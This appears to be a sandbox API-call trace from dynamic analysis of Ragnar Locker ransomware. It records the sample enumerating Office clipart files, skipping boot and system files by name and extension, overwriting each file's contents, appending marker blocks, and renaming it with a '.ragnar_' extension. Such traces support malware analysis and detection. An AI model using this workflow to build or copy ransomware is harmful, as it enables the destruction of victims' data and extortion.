1 [0082.577] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x47c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.577] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.577] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.577] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.577] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.578] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.578] GetProcessHeap () returned 0x580000 [0082.578] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.578] CloseHandle (hObject=0xf4) returned 1 [0082.578] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" [0082.578] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.ragnar_FD7BD9FC" [0082.578] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.578] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0082.578] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.578] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01058_.WMF" | out: lpString1="HH01058_.WMF") returned="HH01058_.WMF" [0082.578] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned=".WMF" [0082.578] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.578] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="autorun.inf") returned 1 [0082.578] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="boot.ini") returned 1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="bootfont.bin") returned 1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="bootsect.bak") returned 1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="bootmgr") returned 1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="bootmgr.efi") returned 1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="desktop.ini") returned 1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="iconcache.db") returned -1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="ntldr") returned -1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="ntuser.dat") returned -1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="ntuser.ini") returned -1 [0082.579] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="thumbs.db") returned -1 [0082.579] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.579] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.579] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.579] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.579] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.579] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.579] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0082.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.579] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2756) returned 1 [0082.580] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xabb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.580] GetProcessHeap () returned 0x580000 [0082.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.580] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.581] VirtualAlloc (lpAddress=0x0, dwSize=0xac4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.581] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xac4, lpOverlapped=0x0) returned 1 [0082.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.582] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xac4, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.582] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xac4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xac4, lpOverlapped=0x0) returned 1 [0082.582] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xac4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.582] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.582] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.582] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.582] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.582] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.582] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.582] GetProcessHeap () returned 0x580000 [0082.582] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.582] CloseHandle (hObject=0xf4) returned 1 [0082.582] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" [0082.583] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.ragnar_FD7BD9FC" [0082.583] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.583] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0082.583] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.583] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01065_.WMF" | out: lpString1="HH01065_.WMF") returned="HH01065_.WMF" [0082.583] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned=".WMF" [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="autorun.inf") returned 1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="boot.ini") returned 1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="bootfont.bin") returned 1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="bootsect.bak") returned 1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="bootmgr") returned 1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="bootmgr.efi") returned 1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="desktop.ini") returned 1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="iconcache.db") returned -1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="ntldr") returned -1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="ntuser.dat") returned -1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.583] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="ntuser.ini") returned -1 [0082.584] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="thumbs.db") returned -1 [0082.584] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.584] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.584] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.584] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.584] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.584] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.584] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0082.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.584] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1268) returned 1 [0082.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.584] GetProcessHeap () returned 0x580000 [0082.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.584] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.586] VirtualAlloc (lpAddress=0x0, dwSize=0x4f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.586] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4f4, lpOverlapped=0x0) returned 1 [0082.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.586] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.586] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4f4, lpOverlapped=0x0) returned 1 [0082.586] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.586] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.586] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.586] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.587] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.587] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.587] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.587] GetProcessHeap () returned 0x580000 [0082.587] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.587] CloseHandle (hObject=0xf4) returned 1 [0082.587] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" [0082.587] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.ragnar_FD7BD9FC" [0082.587] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.587] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0082.587] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.588] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01080_.WMF" | out: lpString1="HH01080_.WMF") returned="HH01080_.WMF" [0082.588] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned=".WMF" [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="autorun.inf") returned 1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="boot.ini") returned 1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="bootfont.bin") returned 1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="bootsect.bak") returned 1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="bootmgr") returned 1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="bootmgr.efi") returned 1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="desktop.ini") returned 1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="iconcache.db") returned -1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="ntldr") returned -1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="ntuser.dat") returned -1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="ntuser.ini") returned -1 [0082.588] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="thumbs.db") returned -1 [0082.588] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.588] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.588] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.588] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.588] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.588] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.588] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0082.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.589] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5000) returned 1 [0082.589] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x137f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.589] GetProcessHeap () returned 0x580000 [0082.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.589] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.590] VirtualAlloc (lpAddress=0x0, dwSize=0x1388, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.590] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1388, lpOverlapped=0x0) returned 1 [0082.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.591] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1388, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.591] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1388, lpOverlapped=0x0) returned 1 [0082.591] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1388, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.591] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1388, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.591] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.591] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.591] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: 